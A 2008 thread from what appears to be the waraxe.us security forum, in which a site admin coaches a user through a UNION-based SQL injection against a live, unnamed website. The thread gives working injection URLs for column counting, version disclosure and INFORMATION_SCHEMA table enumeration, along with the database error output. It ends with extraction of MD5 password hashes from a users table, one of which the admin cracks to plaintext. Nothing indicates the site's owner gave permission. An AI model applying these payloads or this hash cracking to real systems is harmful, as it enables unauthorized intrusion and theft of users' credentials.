|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Some pb with injection |
|
Posted: Fri Feb 29, 2008 5:46 pm |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
Hi, i have found a bug on this site :
site.com/index.php?page=news&act=comment&id_news=-1+or
Code: |
[Uncaught DbException] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10 (query: 'SELECT n.id, n.subject, n.date, n.num_comment, n.enable_multipage, n.multipage_master_id, n.disable_comment, nt.text, n.id_cat, n.display_news, n.display_cat_logo, u.username, g.prefix AS gr_prefix, g.suffix AS gr_suffix, c.large_icon FROM news n LEFT JOIN news_text nt ON nt.id = n.id LEFT JOIN c_users u ON u.id = n.id_poster LEFT JOIN c_groups g ON g.id = u.group LEFT JOIN news_cat c ON c.id = n.id_cat WHERE n.id = -1 or')
/home/site/public_html/framework/database/mysql/class_mysql_db.php at line 201
Stack Trace
#0 /home/site/public_html/modules/news/class_news_controler.php(373): mysql_db->query('SELECT n.id, n....') #1 /home/site/public_html/modules/news/class_news_controler.php(103): news_controler->news_with_comment() #2 /home/site/public_html/sources/class_portal_controler.php(112): news_controler->launch('') #3 /home/site/public_html/index.php(140): portal_controler::launch() #4 {main}
|
I have test a lot of things, but i dont know how to go forward, if someone could help me...
Thanks :p |
|
|
|
|
|
|
|
|
Posted: Fri Feb 29, 2008 6:27 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
First you need to get syntax right:
Code: |
site.com/index.php?page=news&act=comment&id_news=1--+ |
No errors?
Then find out right column count:
Code: |
site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
|
Error message? If so, then post error message here. |
|
|
|
|
|
|
|
|
Posted: Sat Mar 01, 2008 12:40 am |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
site.com/index.php?page=news&act=comment&id_news=1-+
=> same error as first
------------------------------------------------------------------------------
site.com/index.php?page=news&act=comment&id_news=1--+
=> error handled by the webmaster (missing element)
------------------------------------------------------------------------------
site.com/index.php?page=news&act=comment&id_news=1---+
=> same error as first
------------------------------------------------------------------------------
site.com/index.php?page=news&act=comment&id_news=1---+
=> same error as first
------------------------------------------------------------------------------
site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
Code: |
[Uncaught DbException] The used SELECT statements have a different number of columns (query: 'SELECT n.id, n.subject, n.date, n.num_comment, n.enable_multipage, n.multipage_master_id, n.disable_comment, nt.text, n.id_cat, n.display_news, n.display_cat_logo, u.username, g.prefix AS gr_prefix, g.suffix AS gr_suffix, c.large_icon FROM news n LEFT JOIN news_text nt ON nt.id = n.id LEFT JOIN c_users u ON u.id = n.id_poster LEFT JOIN c_groups g ON g.id = u.group LEFT JOIN news_cat c ON c.id = n.id_cat WHERE n.id = -1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--')
/home/site/public_html/framework/database/mysql/class_mysql_db.php at line 201
Stack Trace
#0 /home/site/public_html/modules/news/class_news_controler.php(373): mysql_db->query('SELECT n.id, n....') #1 /home/site/public_html/modules/news/class_news_controler.php(103): news_controler->news_with_comment() #2 /home/site/public_html/sources/class_portal_controler.php(112): news_controler->launch('') #3 /home/site/public_html/index.php(140): portal_controler::launch() #4 {main} |
|
|
|
|
|
|
|
|
|
Posted: Sat Mar 01, 2008 3:33 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Seems that column count differs from 19 ...
Try other values. If you get right column count then error message should change or dissapear. |
|
|
|
|
Posted: Mon Mar 03, 2008 12:53 am |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
i tried site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
and the error disappear but i dont know what to do now :s |
|
|
|
|
Posted: Mon Mar 03, 2008 1:11 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
What you need next is visual feedback. If you can see column values in generated webpage (in place where normal text suppose to be) then you can go to next step.
Lets's suppose, that you see "11" as news title.
Then try something like this:
Code: |
site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,@@version,12,13,14,15--+
|
In case of success you should see mysql version. Post it here, the I can help you to move forward. |
|
|
|
|
|
|
|
|
Posted: Mon Mar 03, 2008 1:21 am |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,@@version,13,14,15--+
the number 12 in the news changed to 5.0.45-community is it that?
site.com/index.php?page=news&act=comment&id_news=-1+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,TABLE_NAME,13,14,15+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+15,1--+
i can see table name but i dont know how to gather their information, can you help me please? |
|
|
|
|
Posted: Mon Mar 03, 2008 1:39 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
By using information_schema you can fetch all field names from any table you have access to. What's the table name you are interested in? |
|
|
|
|
Posted: Mon Mar 03, 2008 1:45 am |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
ok i ve guess how to gather information ^^
I have to test some column name... but can i fetch all information if i have get an ID of a column?
I found password column from users but it is crypted... Maybe you know how to crack it?
For exemple : 6871a2089768bc4364a712365a0e9a58 or 712d2a501f9cb8a82977209b87551bd0
thx :p |
|
Last edited by Nial on Mon Mar 03, 2008 2:05 am; edited 1 time in total |
|
|
|
|
|
|
|
Posted: Mon Mar 03, 2008 2:04 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Nial wrote: | ok i ve guess how to gather information ^^
I have to test some column name... but can i fetch all information if i have get an ID of a column?
I found password column from users but it is crypted... Maybe you know how to crack it?
For exemple : 6871a2089768bc4364a712365a0e9a58
thx :p |
Plaintext of 6871a2089768bc4364a712365a0e9a58 is 1233320
It's md5 hash, you can use any cracking program, for example Cain. |
|
|
|
|
Posted: Mon Mar 03, 2008 2:24 am |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|